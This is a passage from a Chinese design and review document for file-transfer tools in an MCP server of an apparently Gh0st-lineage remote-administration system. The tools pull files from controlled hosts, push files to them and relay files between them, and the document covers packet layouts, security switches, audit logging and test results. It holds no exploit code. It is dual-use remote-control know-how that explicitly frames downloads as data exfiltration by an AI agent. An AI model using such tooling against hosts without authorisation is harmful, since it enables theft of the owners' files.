- V2 无接收方→发送方 ACK:客户端 `HandleFileCompleteV2` 校验失败只打日志(`RecvFileChunkV2` 返回 8,`KernelManager.cpp:1381` 不回传主控)。
- **P2 的 `output.files[].sha256` 恒为空串**:`FileBatchTransferWorkerV2` 内部会为每个文件自算 SHA-256 并写入 `COMMAND_FILE_COMPLETE_V2` 包发给客户端,但该值**不回传调用方**;服务端侧又无导出的 SHA-256 工具函数可自行复算。故 P2 输出不填 sha256(延后 P3:worker 回传哈希,或服务端引入 SHA-256 工具)。传输完整性仍依赖客户端本地 `HandleFileCompleteV2` 校验(与 GUI upload / C2C 同权,属 V2 协议既有边界,非 MCP 引入)。
- 若未来需要「接收方验真回执」,需新增反向 ACK 包(协议扩展,进 P3)——**Linux 目标端的 `receiver_ack` 已实现**,复用 §14 的 176 回执(见 §15),Windows 目标端仍为 `false`。
### 7.6 overwrite 语义
- `overwrite=false`(默认):发送前用 `list_files` 预检 `remote_dir` **一层**(顶层名,不递归),本地顶层项名已存在者整体跳过(单文件精确、目录整体跳过),文件条目计入 `skipped`(目录项不计)。编码 UTF-8→ANSI(936),与 `list_files`/`download_file` 一致。
- `overwrite=true`:全量发送(客户端 `RecvFileChunkV2` 覆盖写)。
- 代价:一次预检往返;对称于 download 的「本地同名跳过」语义。
### 7.7 安全
- 门槛 `McpFileTransfer=1 && McpReadonly=0`(§8):upload 写远程盘,复用「允许写」主开关。
- `remote_dir` 路径规范化(防 `..` 穿越到预期目录之外)。`local_path` 是主控本机路径(信任本地文件系统),主要风险是 AI 误推敏感文件/覆盖远程关键文件——由 `McpReadonly=0` + 审计兜底(与 `terminal_*`/`remote_*` 同款「开关+审计」,不加目录黑名单,见 §12.1)。
### 7.8 客户端改动(实施期修正,评审见 §13.1 U7)
`RecvFileChunkV2` 依赖全局 `g_status==1`(`SimplePlugins/file_upload.cpp:2812` `if (!g_status) return -1;`),但客户端**主连接此前从不初始化文件传输模块**——`InitFileUpload` 只在 `FileManager`/`ScreenManager` 构造里成对调用(下载/屏幕方向),上传走主连接时 `g_status==0`,每个 chunk 都被 `RecvFileChunkV2` 直接丢弃(表现为落盘 0 字节 / 截断)。
修法:在 `client/KernelManager.cpp` 的 `COMMAND_SEND_FILE_V2` 分支加**懒初始化**(进程内仅一次):
```cpp
static bool s_v2RecvInited = false;
if (!s_v2RecvInited) {
InitFileUpload({}, m_LoginMsg, m_LoginSignature, 64, 50, Logf);
s_v2RecvInited = true;
}
int n = RecvFileChunkV2((char*)szBuffer, ulLength, m_conn, nullptr, m_hash, m_hmac, m_MyClientID);
```
要点(独立评审结论,均为安全):
- 与 `FileManager.cpp:40` 的 Init 参数**逐字节一致**(`{}`, `m_LoginMsg`, `m_LoginSignature`, 64, 50, `Logf`),不新增路径。
- `static` 保证进程内只初始化一次,主连接重连(`ClientDll.cpp:660/665` 反复 `SAFE_DELETE`+`new CKernelManager`)不反复 Init/Uninit;`~CKernelManager` 保持原样**不** `UninitFileUpload`,故 `g_threadCount` 从 1 起永不归 0,`g_status` 恒为 1。
- `InitFileUpload` 幂等(`g_fileStatesMtx` + `g_threadCount` 引用计数,二次调用 `g_threadCount>1` 早退)、非阻塞(仅置标志 + 派生 detach 线程)、license 校验在启动期 `licenseInit()` 后必过、`verifyMessage` 对空签名 `return false`(`license.cpp:244`)不会越界。
- 影响面:主连接 `OnReceive` 无 V1 `COMMAND_SEND_FILE` 分支,`g_status=1` 只作用于 `RecvFileChunkV2`;`FileManager`/`ScreenManager` 的成对 Init/Uninit 只是在 1↔2 间震荡,语义不变。
---
## 8. 安全门
| 工具 | 定性 | 门槛 |
|---|---|---|
| `download_file` | 不改远程状态,但**数据外带** | `McpFileTransfer=1`(仅此一开关;**不依赖** `McpReadonly`,与 `list_files`/`get_screenshot` 同权) |
| `upload_file` | **写远程盘** | `McpFileTransfer=1` **且** `McpReadonly=0`(复用既有「允许写」主开关) |
- **只新增一个开关 `McpFileTransfer`(默认 0)**:download 只看它;upload 额外要求 `McpReadonly=0`。决策依据见 §12。
- `tools/list` 据此隐藏两个工具(与 `exec_command`/`terminal_*`/`remote_*` 同款开关判断)。
- 审计:`host_id + tool + remote_path + local_dir + 结果`,写 `Mprintf` + 审计日志。
---
## 9. 改动文件清单
| 文件 | 改动 |
|---|---|
| `server/2015Remote/McpServer.h` | `FileTransferSession` + 注册表 + 8 个接口声明 |
| `server/2015Remote/McpServer.cpp` | `download_file` schema/实现 + 会话状态机 + 路由分支 |
| `server/2015Remote/2015RemoteDlg.cpp` | `MessageHandle`:`COMMAND_SEND_FILE_V2`(85) / `COMMAND_FILE_COMPLETE_V2`(91) 两处守卫分支 + `TOKEN_DRIVE_LIST` 处 `OnDriveList` 扩展;`TOKEN_CONN_AUTH` 不动 |
| `server/2015Remote/McpSettingsDlg.cpp/.h` | `McpFileTransfer` 配置项 |
| (P2)`server/2015Remote/McpServer.h` | `FileTransferSession.tool` 增 `"upload_file"`;新增 `BeginFileUpload(id)`(单设备单传输互斥标记) |
| (P2)`server/2015Remote/McpServer.cpp` | `upload_file` schema/实现:无头回调 `UploadSendChunkHeadless` + `CollectLocalFiles` 收集 + overwrite 预检(复用 `list_files` 链路)+ 驱动 `FileBatchTransferWorkerV2`(复用主连接,无子连接路由) |
| (P2)`client/KernelManager.cpp` | `COMMAND_SEND_FILE_V2` 分支加懒初始化 `InitFileUpload`(`g_status` 由 0 置 1,见 §7.8) |
| (2026-10-27)`common/FileTransferV2.h` | POSIX 接收端:发送 `FileCompletePacketV2`(含流式 SHA-256)、下载失败回 `TOKEN_DOWNLOAD_ERROR`(errno→Win32 映射);见 §15 |
| (2026-10-27)`common/sha256_posix.h` | 新增:POSIX 侧最小流式 SHA-256(Windows 侧仍走 BCrypt,见 `common/VerifyV2.h`) |
**客户端**:`UploadToRemoteV2` / `RecvFileChunkV2` / `FileBatchTransferWorkerV2` 均已存在、未改动;仅 `COMMAND_SEND_FILE_V2` 分支新增懒初始化(见 §7.8)。
---
## 10. 分阶段实施与回滚
- **P1**:`download_file` + `McpFileTransfer` 开关 + 路由分支。可独立合入、独立验收(真实主机拖回一个目录,SHA-256 与 `certutil -hashfile` 比对一致)。
- **P2**:`upload_file`(§7,主连接复用 + 发送方驱动,`MessageHandle` 零改动)。可独立合入、独立验收(推一个目录到真实主机,SHA-256 与源文件 `certutil -hashfile` 比对一致)。
- **P3**(可选):断点续传(需先验证服务端续传状态落盘;文件管理器侧现 `enableResume=false`,`client/FileManager.cpp:1164`)、大文件进度流式上报。
- **回滚**:改动集中在 `McpServer.*` + `MessageHandle` 三个 `if` 分支,revert 当期 commit 即可,不影响既有 GUI 文件管理器。
---
## 11. 测试点
- 单文件 / 目录(含中文名、深层嵌套)下载;SHA-256 与 `certutil -hashfile` 比对一致。
- `overwrite=false` 同名跳过;`local_dir` 不存在自动创建。
- 路径穿越:`remote_path` 含 `..` 或 chunk 文件名逃逸 `local_dir` 时被拒。
- 大文件(>2GB)超时与断线;并发下载同主机返回 `-32003`。
- 编码:GBK 中文文件名往返无乱码(与 `list_files` 同规则)。
- 断线收尾:传输中客户端掉线 → 会话擦除 + 半成品删除,无句柄/内存泄漏。
- **上传(P2)**:单文件 / 目录(含中文名、深层嵌套)上传;`remote_dir` 不存在自动创建;SHA-256 与源文件 `certutil -hashfile` 比对一致。
- 上传 `overwrite=false` 同名跳过(`skipped` 计数);`overwrite=true` 覆盖。
- 上传 `remote_dir` 含 `..` 逃逸被拒;大文件(>2GB)超时与断线;并发上传/上传-下载同主机返回 `-32003`。
- 上传编码:GBK 中文文件名往返无乱码。
---
## 12. 决策记录(以「简单易用」为原则)
原则:最少开关、最少认知负担、复用既有机制、不为低频场景预留复杂度;只有威胁模型确实需要时才加复杂度。
### 12.1 download 数据外带 → **不加目录白名单,信任 `McpFileTransfer` + 审计**
- **威胁模型**:MCP 默认 `127.0.0.1` + token;「数据外带」的实际顾虑是 AI 误操作或提示注入。但一旦开启 `terminal_exec`(全 shell、无白名单),外带通道远大于 download,目录白名单对已开终端者是冗余防御。
- **一致性**:`terminal_*` / `remote_*` 均只有开关 + 审计、无路径白名单;给 download 单独加白名单是特例,增加解释负担。
- **简单**:工具契约保持 `id + remote_path + local_dir`,不引入「允许根目录」概念。
- **逃生舱**:若未来确有需要,复用 `McpCmdWhitelist` 那种**单字符串**配置作可选收紧项,进 P3,不进 P1。
### 12.2 大文件模型 → **P1 同步 + 大超时,收窄到单文件/已打包目录**
- MCP 是 request/response;为一次性传输引入「提交任务 + 轮询进度 + 任务清理」违背「简单 + 每阶段独立可交付」。
- 核心场景(先压缩成单 zip 再拉回)天然是单文件,同步足够;`get_screenshot` 已先例式地内联返回字节。
- 异步任务模型进 P3,且**只在确有超大流式需求时**才做,不预建。
### 12.3 upload 开关 → **单一 `McpFileTransfer`,upload 复用 `McpReadonly=0`**
- `download_file` = `McpFileTransfer=1`(不依赖 `McpReadonly`):它只读远程,与 `list_files`/`get_screenshot` 同权,readonly 语义本就只拦「改远程」。
- `upload_file` = `McpFileTransfer=1 && McpReadonly=0`:upload 改远程,复用既有「允许写」主开关,与 `terminal_*`/`remote_*` 的 `X && !Readonly` 模式一致。
- 只新增 **1 个**开关;代价是「不能只开 upload 不开 download」——这是可接受的简化(无人有此诉求)。
---
## 13. 专家审查记录(实施前)
原则优先级:① 对既有功能影响最小 → ② 简单易用 → ③ 优先 V2。逐条核对了 `2015RemoteDlg.cpp` 的 `MessageHandle` 分派、`client/FileManager.cpp` 与 `SimplePlugins/file_upload.cpp` 的实现,结论如下:
| # | 审查发现 | 结论 |
|---|---|---|
| F1 | 路由机制比草案更简单:`COMMAND_SEND_FILE_V2`(`5842`)/`COMMAND_FILE_COMPLETE_V2`(`6101`) 本就按 `ContextObject->GetClientID()` 分派,流式子连接经 `TOKEN_CONN_AUTH`(`6411 SetID`) 钉住 clientID | **无需 context 路由表**。改为 `device_id` 键 + 两个 case 顶部的 `IsFileTransferPending(devId)` 守卫,`TOKEN_CONN_AUTH` 完全不动 |
| F2 | 一次性 `m_Pending` 与新增文件会话可能并发冲突(同 host 双工具) | `BeginFileTransferPending` 与 `m_Pending` **双向互斥**,同 host 全 MCP 工具单飞 |
| F3 | 文件管理器子链接发完 `CMD_DOWN_FILES_V2` 后即无用(数据走新流式子连接) | `OnDriveList` 发完命令即 `CancelIO` 该子链接;客户端 `UploadToRemoteV2` 用独立 `IOCPClient`,不依赖它 |
| F4 | 完成信号是**每文件一个** `COMMAND_FILE_COMPLETE_V2`(`FileCompletePacketV2.fileIndex`) | 会话记 `totalFiles`(首 chunk)/`filesDone`(complete 计数),`filesDone==totalFiles` 才算 done |
| F5 | `RecvFileChunkV2` 内部直接按 chunk `filename` 落盘 | MCP 在调用**前**校验 `filename` 规范化仍在 `local_dir` 内,逃逸即取消传输 |
| F6 | `RecvFileChunkV2` 需正确 `hash/hmac` | 镜像 `FileManagerDlg.cpp:2755` 的 `GetPwdHash()/GetHMAC(100)`;客户端 M2C `hmac` 为空(`FileManager.cpp:1167`) |
| F7 | 三处改动均为「加 if 守卫 + 现有逻辑作 else」,C2C 分支不动 | 结构性满足原则 #1,对既有 GUI/C2C 零影响 |
**判定**:7 项问题均已在正文对应章节修正,无阻塞项,**定稿**。
### 13.1 upload_file 评审记录(P2,实施前)
核对了 `2015RemoteDlg.cpp` 的 `SendFilesToClientV2Internal`/`SendFileChunkToClientV2`(GUI upload 发送方)、`SimplePlugins/file_upload.cpp` 的 `FileBatchTransferWorkerV2`/`RecvFileChunkV2`、`client/KernelManager.cpp:1381` 的接收分支,结论:
| # | 审查发现 | 结论 |
|---|---|---|
| U1 | 旧稿「服务端等客户端回 `COMMAND_FILE_COMPLETE_V2`」方向写反 | COMPLETE 恒由**发送方**发、接收方 `HandleFileCompleteV2` 校验,无 ACK 回传。upload 服务端是发送方 → **发** COMPLETE,不是「等」 |
| U2 | upload 走**主连接**(`ctx->Send2Client`),不像 download 要客户端新开鉴权流式子连接 | `MessageHandle` 零改动;无需 `IsFileTransferPending` 路由守卫、无需 `OnFileCompleteV2` 收包计数 |
| U3 | 复用 `FileBatchTransferWorkerV2` 时回调需无头版 | 镜像 GUI `SendFileChunkToClientV2` 去掉 `dlg` 进度,`m_parent->FindHost(clientID)` 定位 ctx;离线返回 false 中止 |
| U4 | 完成判定无接收方回执 | `result==0 && FindHost(clientID)!=nullptr`(与 GUI `SendFilesToClientV2Internal` 末尾一致);`output.sha256` 恒为空串,非接收方验真(见 §7.5) |
| U5 | `overwrite=false` 需预知远程同名文件 | 复用 `list_files` 的 `COMMAND_LIST_DRIVE→TOKEN_DRIVE_LIST` 预检 `remote_dir`,过滤同名进 `skipped` |
| U6 | 本地文件收集 | `common/file_upload.cpp:38` `ExpandDirectories` 未在 `file_upload.h` 导出,改为 McpServer.cpp 本地 `CollectLocalFiles` 同构实现(目录项在前、子项随后) |
| U7 | 实施验证发现:客户端主连接 `g_status==0`,`RecvFileChunkV2` 逐 chunk `return -1`(上传落盘 0 字节/截断) | 客户端 `COMMAND_SEND_FILE_V2` 分支加懒初始化(§7.8):`static` 一次 + 永久引用计数、析构不 `Uninit`;与 `FileManager.cpp:40` 参数一致,独立评审确认无稳定性风险 |
**判定**:7 项均已写入 §7 对应小节,无阻塞项,**定稿**。
### 13.2 实施后修复记录(2026-10-25)
| # | 问题 | 修复 |
|---|---|---|
| R1 | **纯目录树下载必超时**:完成判定 `filesDone >= totalFiles - directoryCount` 只在 `OnFileCompleteV2` 里跑,而客户端对目录项不发 `COMMAND_FILE_COMPLETE_V2`。空目录/只有子目录的树期望文件数为 0,永远等不到 COMPLETE → 只能干等 `timeout_ms`(默认 600s)后报 `1002` | `OnFileChunkV2` 的目录分支里,`directoryCount >= totalFiles`(即全部条目都是目录)时直接置 `done` + notify。实测空目录 0.2s 返回、3 文件目录树回归正常 |
| R2 | **断线无清理 → 悬空子连接指针**:`FileTransferSession.fmSubCtx / streamSubCtx` 是裸 `context*`,`OfflineProc` 只清了终端/远程控制/聊天,没有文件传输的钩子(§6.5 声称的「断线擦会话」实现缺失)。客户端传输中掉线后 connection 被连接池回收,工具线程超时路径仍对其 `CancelIO()` → 悬空指针/误取消他人连接 | 新增 `m_FileXferContextToDevice` 反查表(受 `m_FileXferMutex` 保护,`ClearFileTransfer` 同步擦除),`OfflineProc` 增 `OnFileTransferContextClosed`:清指针并移除反查项;**流式子连接**断开即判失败(`error=1003`,立即唤醒工具线程),文件管理器子连接断开只清指针(数据走流式子连接,不判失败)。实测传输中杀掉客户端:1s 返回 `Connection lost`(原来要等满 `timeout_ms`),服务端存活;重启客户端后连续两次下载、一次上传均正常 |
---
## 14. 增补(2026-10-26):C2C 直传 `copy_files_c2c`
### 14.1 动机
运维里经常要在**两台客户端之间**拷文件。此前的变通流程是「`download_file` 拉到主控本机 → `upload_file` 再推上去」,数据在服务端磁盘上落一遍、两倍耗时。文件传输 V2 本身已经支持 C2C:`FileChunkPacketV2.dstClientID != 0` 时,服务端把包**原样中继**给目标客户端,目标端在自己的主连接上 `RecvFileChunkV2` 落盘,服务端不解析、不落盘。
但客户端现有的 C2C 入口只有一个 `COMMAND_CLIPBOARD_V2`(Ctrl+V),文件来源固定是本端剪贴板/资源管理器选中项,服务端无法指定路径。因此新增一条「服务端给源端一份显式路径清单」的命令。
### 14.2 协议(`common/commands.h` / `common/file_upload.h`)
```cpp
CLIENT_CAP_C2C_PATHS 0x0008 // LOGIN_INFOR 能力位,仅 Windows 客户端置位(源端)
CLIENT_CAP_C2C_RECV_ACK 0x0010 // 作为目标端会回执落盘结果,目前仅 Linux 客户端置位(macOS 不置位)
COMMAND_C2C_SEND_FILES = 174, // 服务端 → 源客户端主连接
TOKEN_C2C_SEND_RESULT = 175, // 源客户端 → 服务端(源端自开的传输子连接上)
TOKEN_C2C_RECV_RESULT = 176, // 目标客户端 → 服务端(目标端主连接上)
```
| 包 | 布局 | 说明 |
|---|---|---|
| `C2CSendFilesPacket` | `cmd(1) transferID(8) srcClientID(8) dstClientID(8) hash(64) hmac(16) flags(1)` = 106 B | 后接 `dst_dir\0`,再是 `path1\0 … pathN\0`,以额外一个 `\0` 结束(ANSI/936) |
| `C2CSendResultPacket` | `cmd(1) transferID(8) dstClientID(8) status(4) win32err(4) workerRc(4) fileCount(4) totalBytes(8)` = 41 B(`#pragma pack(1)`) | 175:`status` 0=全部发出、`FEV2_FILE_NOT_FOUND`/`FEV2_ACCESS_DENIED`(带首个 win32 码)、1001=发送线程失败(看 `workerRc`)。176:`status` 0=全部落盘成功,否则为映射后的 `FEV2_*`;`win32err` 位置放**首个 errno**;`workerRc` 恒 0 |
老客户端不认识 174(服务端按 `CLIENT_CAP_C2C_PATHS` 提前拒绝,`-32005` 提示升级);老服务端不认识 175/176,走 `default` 丢弃,无兼容风险。回执用**独立的 176**而不是复用 175:同一台主机可能同时是 A 传输的目标端和 B 传输的源端,复用会让服务端把回执误当成源端结果去 latch `done`。
### 14.3 客户端(`client/KernelManager.cpp`)
1. `OnC2CSendFiles`:解析 `dst_dir` 与路径清单 → `ExpandEnvironmentStringsA` 展开 `%VAR%` → 目录按 `CollectFilesRecursiveV2` 同语义**递归展开,且目录项本身也入列**(目标端据此建空目录)→ 统计 `fileCount/totalBytes`。
2. `EnsureV2TransferInited()`:`FileBatchTransferWorkerV2` 依赖进程级的 `InitFileUpload`(`g_status==1`),否则直接返回 -1。源端可能从未打开文件管理器、也没接收过上传,所以发送前显式初始化;与接收分支共用同一份 `static` 一次性初始化(`InitFileUpload`/`UninitFileUpload` 成对,重复 Init 会重置状态)。
3. 新开一个 `EnableSubConnAuth()` 的子连接 → `FileBatchTransferWorkerV2(files, targetDir=dst_dir, …, opts{dstClientID=dst, enableResume=false})`,回调即 `Send2Server`。子连接经 `TOKEN_CONN_AUTH` 校验后,服务端把它钉成源主连接的 clientID。
4. 发送结束后**在同一条子连接上**回 `C2CSendResultPacket`,然后关闭子连接。任何早退分支(路径非法/全部不可访问/连不上服务端)都先回一包结果——否则工具侧只能干等超时。
### 14.4 服务端
- **会话**:`BeginC2CTransfer(src, dst, transferID)` 把会话键在**源**设备上(`tool="copy_files_c2c"`、`dstClientID`),与 `m_Pending`、目标端文件会话双向互斥;`WaitC2CDone` 只等源端那包结果,**没有停滞看门狗**(源端全程只在最后回一包,大文件中途静默是正常的),只有总超时。
- **中继**:完全复用 `COMMAND_SEND_FILE_V2` / `COMMAND_FILE_COMPLETE_V2` 的 `dstClientID != 0` 分支,零改动。
- **必须抑制源端的进度对话框**(实施中踩到的坑):该分支原本会在源端子连接上挂一个 `CDlgFileSend` 显示进度。而 `NotifyProc` 对**挂了 `hDlg` 的连接**会把后续包交给对话框的 `OnReceiveComplete`——源端最后那包 175 就被当成 V1 文件块解析(服务端 trace 里是 `RecvFileChunk failed: 3`),MCP 侧只会超时。现在用 `IsC2CTransferPending(src, dst)` 判定:MCP 发起的 C2C 不建对话框,包照常落到 `MessageHandle`;MFC 手动 C2C(Ctrl+V / 文件管理器)行为完全不变。
- **落盘位置**:目标端收到的目录是 `dst_dir`,文件名取各路径**相对公共父目录**的部分(库内 `GetCommonRoot` 语义)。例如发 `D:\data\a.txt` 与 `D:\data\sub\`,目标是 `C:\backup`,则得到 `C:\backup\a.txt`、`C:\backup\sub\b.bin`;`dst_dir` 不存在时由接收端自动创建。
- **Windows 目标**:`dst_dir` 必须是绝对 Windows 路径(`C:\backup`),服务端补尾部 `\` 后交给源端拼接。
- **Linux/macOS 目标**:`dst_dir` 必须是绝对 POSIX 路径(`/home/user/incoming`、`/tmp/recv`),不得含 `\`。源端仍然只是把 `dst_dir` 与相对路径**纯字符串拼接**(`targetDir + relPath`,库内不经过任何 Windows 路径 API),因此得到 `"/tmp/recv\sub\b.bin"`;POSIX 接收端 `GetTargetDir()` 为空时会把 `\` 归一化成 `/`、去盘符、补前导 `/` 再 `MakeDirs`,正好落到 `/tmp/recv/sub/b.bin`。这条路径不需要改 Windows 客户端。
- 目标端类型来自 `RES_CLIENT_TYPE`(`LNX`/`MAC` 视为 POSIX),服务端在**建会话前**校验形态,不合法直接 `-32602`。
- **目标端回执**:目标端声明 `CLIENT_CAP_C2C_RECV_ACK`(当前只有 Linux)时,服务端在源端结果之后再 `WaitC2CReceiver`(≤5 s,250 ms 切片)等一包 176;没有该能力位的目标端(Windows、macOS、老客户端)直接跳过,不增加任何延迟。回执状态记在 `FileTransferSession` 的 `recv*` 字段,与源端的 `done/status` 互不覆盖。
### 14.5 工具契约
入参:`src_id`、`dst_id`(必填,且不得相同)、`paths`(必填,文件或目录,1..N,源端 Windows 绝对路径)、`dst_dir`(必填,绝对路径;Windows 目标用 `C:\x`,Linux/macOS 目标用 `/x`)、`timeout_ms`(默认 600000,上限 3600000)。
出参(`structuredContent`):`transfer_id`、`src_id`、`dst_id`、`dst_dir`、`file_count`、`total_bytes`、`receiver_ack`。
`receiver_ack` 三种取值:
- `true` 且 `status==0`:目标端已确认全部条目落盘(`file_count`/`total_bytes` 是**目标端实收**值,与源端统计一致)。
- `false`:目标端不支持回执(Windows/macOS/老客户端),或目标端中途断线——源端只保证「包已全部发出」,请用 `list_files` 复核。
- 目标端回执报错时工具**不返回** `structuredContent`,而是下面的 `-32011` 错误。
| 码 | 触发 |
|---|---|
| `-32602` | 缺参 / id 非法 / 源目标相同 / `paths`、`dst_dir` 含 `..` 段或内嵌 NUL / 编码无法转 936 / POSIX 目标的 `dst_dir` 不是绝对 `/…` 或含 `\` |
| `-32002` | 源或目标主机不在线 |
| `-32003` | 源或目标已有在飞传输(单设备单传输) |
| `-32004` | 命令下发失败 |
| `-32005` | 源端是老客户端(无 `CLIENT_CAP_C2C_PATHS`)、或源端是 Linux/macOS(目标端可以是 Linux/macOS) |
| `-32006` | `McpFileTransfer=0` 或 `McpReadonly=1`(改远程);任一端不支持 V2 |
| `-32009` / `-32010` | 源端路径不存在(win32 2/3)/ 拒绝访问(win32 5) |
| `-32011` | **目标端写入失败**:收到 176 回执且 `status != 0`;文案带 status、首个 errno(13/1→权限、2→路径不存在、28→磁盘满)与实收文件数 |
| `-32001` | 等源端结果超时(传输可能仍在进行);或**支持回执的目标端在源端完成后 5 s 内没有回执**(对 `total_bytes>0` 的传输才判失败;全空文件传输没有数据块、目标端无从学到 `totalFiles`,按无回执处理) |
### 14.6 限制
- **回执只覆盖 Linux 目标端**:Windows 目标端(V2 接收实现里没有回执通道)与 macOS(`macos/main.mm` 的客户端对象是函数内局部变量,没有全局主连接句柄)仍是 `receiver_ack:false`,只能确认「包已全部发出」,要确认落盘请用 `list_files` 核对目标端。
- **不做断点续传**(`enableResume=false`):C2C 的续传查询/应答会多两跳,v1 从简;失败即整包重发。
- **源端必须是 Windows 客户端**(`CLIENT_CAP_C2C_PATHS` 只有 Windows 置位);目标端可以是 Windows / Linux / macOS。
- **POSIX 目标的路径限制**:`dst_dir` 与文件名的 UTF-8 → ANSI 转换固定用 CP936(协议字段没有编码标志位),GBK 无法表示的字符(如 `ö`、`ß`)会变成 `?`;POSIX 目标的 `dst_dir` 必须是绝对 `/…` 且不含 `\`;Linux 侧文件名按收到的字节原样落盘(大多是 GBK 字节),在 UTF-8 环境里 `ls` 会显示为乱码但内容与 SHA-256 正确。要根治需要为 V2 名字字段引入 UTF-8 标志位,本次不做。
- **空文件不会被创建**(协议现状,与目标端类型无关):worker 对 0 字节文件不发数据块,只发 `FileCompletePacketV2`,接收端没有对应分支去 `open(O_CREAT)`。空**目录**会创建。
- 一次只允许一对主机间的单个传输(源、目标各自都要求空闲),避免与 `download_file`/`upload_file` 抢同一主机的连接。
### 14.7 验证(Debug 实例 + 两个 Debug 客户端副本,同一台机器不同目录 → 不同 client_id)
数据确实走「源客户端子连接 → 服务端中继 → 目标客户端主连接」:
| 用例 | 结果 |
|---|---|
| 发 2 个文件(其一中文名)+ 1 个目录(含 3 MB 二进制与空子目录) | 3 个文件 SHA-256 全对,空目录被创建,`file_count=3`、耗时 3.2s |
| `dst_dir` 不存在(`…\recv\fresh\nested`) | 自动创建,文件到位 |
| `src_id == dst_id` / 源路径不存在 / 目标离线 / `dst_dir` 含 `..` | `-32602` / `-32009`(win32=3) / `-32002` / `-32602` |
| `tools/mcp_smoke.ps1`(含主机类工具,41 项) | 全通过;新增 `copy_files_c2c` 同主机 `-32602`、目标离线 `-32002` 两项 |
### 14.8 增补(2026-10-27):Linux 作为目标端 + 落盘回执
改动面:服务端门禁按目标端类型校验 `dst_dir`(§14.4);Linux 接收端 `common/FileTransferV2.h` 统计每个
`transferID` 的定案条目,全部定案后从主连接回一包 `TOKEN_C2C_RECV_RESULT`(176);服务端新增
`OnC2CRecvResult` / `WaitC2CReceiver`,在源端结果之后等回执并把它变成 `receiver_ack` 或 `-32011`。
接收端记账要点(都在 `FileTransferV2.h` 的 `RecvProgress` 里):
- 条目定案有三个来源:**目录项包**(`FFV2_DIRECTORY`,无 LAST_CHUNK)、**最后一块数据**、**空文件的完成包**;
源端重发(最多 3 次)与「最后一块 + 完成包」都会重复命中同一 `fileIndex`,用 `doneFiles`/`doneDirs` 去重。
- `totalFiles` 只能从数据块/目录包学到(`FileCompletePacketV2` 没有该字段);目录项也计入 `totalFiles`,
所以判据是 `doneFiles + doneDirs >= totalFiles`。
- `errno` 只在失败瞬间有效,open 失败处紧接着就有 `Mprintf`,因此在失败点立刻取值再传递;
`fstat` 复核最终大小,大小不符记 `EIO`。
- 回执在锁外发送;`reply->IsConnected()` 失败只记日志,不影响已落盘的文件。
验证(Debug 实例 6543/6546,WSL Ubuntu 24.04 里新编译的 `linux/ghost` 以 yuan(1000) 运行):
| 用例 | 结果 |
|---|---|
| Windows → Linux,`dst_dir=/tmp/yama_c2c/recv`,2 个文件(其一中文名)+ 目录(含 3 MB 二进制与空子目录) | 3 个文件 SHA-256 全对、`sub/empty` 空目录已建,`receiver_ack:true`、`file_count=3`、`total_bytes=3147539`(与源端一致),耗时 3.2 s |
| `dst_dir=/tmp/yama_c2c/fresh/nested`(不存在) | 自动创建,`receiver_ack:true` |
| POSIX 目标给 `dst_dir=C:\tmp\x` | `-32602` "use an absolute POSIX path such as /home/user/incoming" |
| POSIX 目标给不可写位置 `/proc/yama_c2c` | `-32011` "no such file or directory (status=3, errno=2, files=1)" |
| 只发一个 0 字节文件 | 成功返回、`receiver_ack:false`(无数据块 → 接收端学不到 `totalFiles` → 不回执),**不误报** `-32001` |
| 只发一个空目录 | 目录包携带 `totalFiles` → 回执到达,`receiver_ack:true`、`file_count=0`,目录已创建 |
| Windows → Windows 回归(原 c2c_test 用例) | 全部与改动前一致,`receiver_ack:false`,耗时 3.2 s(未增加等待) |
| `upload_file`/`download_file`(`dstClientID=0`) | 不进回执分支(`FinishC2CItem` 首行即 `dstClientID==0` 返回),行为不变 |
---
## 15. 增补(2026-10-27):`download_file` / `upload_file` 支持 Linux/macOS 主机
§6/§7 的原始实现只允许 Windows 目标端(LNX/MAC 直接 `-32005`)。本次打通:
- **`upload_file`(主控 → 目标端)**:不需要客户端新指令。POSIX 接收端本来就实现了 `COMMAND_SEND_FILE_V2`
(`common/FileTransferV2.h`),`dstClientID != 0` 的包按 C2C 语义处理,目标目录由包里的 name 派生
(§14.4 的 POSIX 规则)。服务端只放开门禁 + 按目标端类型校验 `remote_dir` 形态。
- **`download_file`(目标端 → 主控)**:走客户端文件管理器子连接的 `CMD_DOWN_FILES_V2`,Linux/macOS 的
文件管理器在 `common/FileManager.h` 里(与 Windows `client/FileManager.cpp` 同构)。缺的两块在 POSIX 接收侧补齐:
### 15.1 接收端改动(`common/FileTransferV2.h`,Linux 与 macOS 共用)
1. **发送 `FileCompletePacketV2`**(`SendFilesV2` 每个文件末尾):`cmd(1) transferID(8) srcClientID(8)
dstClientID(8) fileIndex(4) fileSize(8) sha256(32)`,SHA-256 边读边算(新增 `common/sha256_posix.h`,
自包含流式实现;Windows 侧继续用 BCrypt)。服务端 `OnFileCompleteV2` 凭它计 `filesDone` 并校验摘要——
没有它 MCP 的下载会话永远等不到完成判定。
- 读失败 / 文件在传输中被截断(短读):仍把末块发出去,但**不发**完成包(不谎报校验通过),服务端按
`fileSize` 收不全而失败。
- 发送失败(`Send2Server` 返回 false)同样不发完成包。
2. **下载失败回 `TOKEN_DOWNLOAD_ERROR`**:`[cmd:1][win32err:4 LE]`,与 Windows `CFileManager::SendDownloadError`
一致。触发点:`remote_paths` 为空(win32 87)、所有路径 stat 失败 / 展开后无文件(首个 errno 映射
`ENOENT/ENOTDIR→2/3`、`EACCES/EPERM→5`,其余→2)。服务端据此立即失败,不用等停滞看门狗。
### 15.2 服务端改动(`server/2015Remote/McpServer.cpp`)
- `BuildDownloadFile` / `BuildUploadFile`:`RES_CLIENT_TYPE` 为 `LNX`/`MAC` 时按 POSIX 校验路径:
**必须以 `/` 开头、不得含 `\`(会被客户端 `WinPathToLinux` 归一化成 `/`,语义会漂)、不得含 `..` 段**,
否则 `-32602` 并给出示例;`upload_file` 的 `remote_dir` 单独给 `/` 是合法的(写到根目录,通常因权限回 `-32011`)。
Windows 目标端行为与之前逐字节一致。
- `BeginFileUpload(device_id, transfer_id)` 现在登记 `dstClientID`/`transferID`,`OnC2CRecvResult` 同时匹配
`copy_files_c2c` 与 `upload_file` 的会话(键分别是源端与目标端,都用 `dstClientID + transferID` 定位)。
`upload_file` 因此也能拿到真实回执:Linux 目标端声明 `CLIENT_CAP_C2C_RECV_ACK`,发送完成后等 ≤5 s,
`receiver_ack` 参与输出。
- **空文件(仅 POSIX 目标)**:`FileBatchTransferWorkerV2` 对 0 字节文件不发数据块,只发完成包,而完成包
没有路径字段,POSIX 接收端无从建文件(会「回执成功但文件不存在」)。服务端在驱动 worker 前,为每个
